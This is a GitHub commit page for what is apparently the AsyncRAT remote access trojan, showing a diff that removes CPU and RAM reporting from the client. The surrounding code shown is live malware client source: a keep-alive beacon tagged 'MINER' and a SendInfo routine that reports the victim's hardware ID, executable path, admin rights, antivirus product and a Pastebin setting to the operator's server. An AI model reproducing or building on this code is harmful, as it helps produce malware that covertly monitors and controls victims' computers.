Skip to content

Commit 3df9f99

Browse files
committed
removed client CPU usage
1 parent 3c3108b commit 3df9f99

File tree

3 files changed

+3
-14
lines changed

3 files changed

+3
-14
lines changed

AsyncRAT-C#/Client/Connection/ClientSocket.cs

Lines changed: 1 addition & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -256,14 +256,7 @@ public static void KeepAlivePacket(object obj)
256256
{
257257
MsgPack msgpack = new MsgPack();
258258
msgpack.ForcePathObject("Packet").AsString = "Ping";
259-
try
260-
{
261-
msgpack.ForcePathObject("Message").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"} CPU {(int)IdSender.TheCPUCounter.NextValue()}% RAM {(int)IdSender.TheMemCounter.NextValue()}%";
262-
}
263-
catch
264-
{
265-
msgpack.ForcePathObject("Message").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"}";
266-
}
259+
msgpack.ForcePathObject("Message").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"}";
267260
Send(msgpack.Encode2Bytes());
268261
Ping?.Dispose();
269262
Interval = 0;

AsyncRAT-C#/Client/Helper/IdSender.cs

Lines changed: 1 addition & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -9,9 +9,6 @@ namespace Client.Helper
99
{
1010
public static class IdSender
1111
{
12-
public static PerformanceCounter TheCPUCounter { get; } = new PerformanceCounter("Processor", "% Processor Time", "_Total");
13-
public static PerformanceCounter TheMemCounter { get; } = new PerformanceCounter("Memory", "% Committed Bytes In Use");
14-
1512
public static byte[] SendInfo()
1613
{
1714
MsgPack msgpack = new MsgPack();
@@ -23,8 +20,7 @@ public static byte[] SendInfo()
2320
msgpack.ForcePathObject("Path").AsString = Application.ExecutablePath;
2421
msgpack.ForcePathObject("Version").AsString = Settings.Version;
2522
msgpack.ForcePathObject("Admin").AsString = Methods.IsAdmin().ToString().ToLower().Replace("true", "Admin").Replace("false", "User");
26-
TheCPUCounter.NextValue();
27-
msgpack.ForcePathObject("Performance").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"} CPU {(int)TheCPUCounter.NextValue()}% RAM {(int)TheMemCounter.NextValue()}%";
23+
msgpack.ForcePathObject("Performance").AsString = $"MINER {SetRegistry.GetValue(Settings.Hwid) ?? "0"}";
2824
msgpack.ForcePathObject("Pastebin").AsString = Settings.Pastebin;
2925
msgpack.ForcePathObject("Antivirus").AsString = Methods.Antivirus();
3026
msgpack.ForcePathObject("Installed").AsString = new FileInfo(Application.ExecutablePath).LastWriteTime.ToUniversalTime().ToString();

AsyncRAT-C#/Server/Forms/Form1.Designer.cs

Lines changed: 1 addition & 1 deletion
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

0 commit comments

Comments
 (0)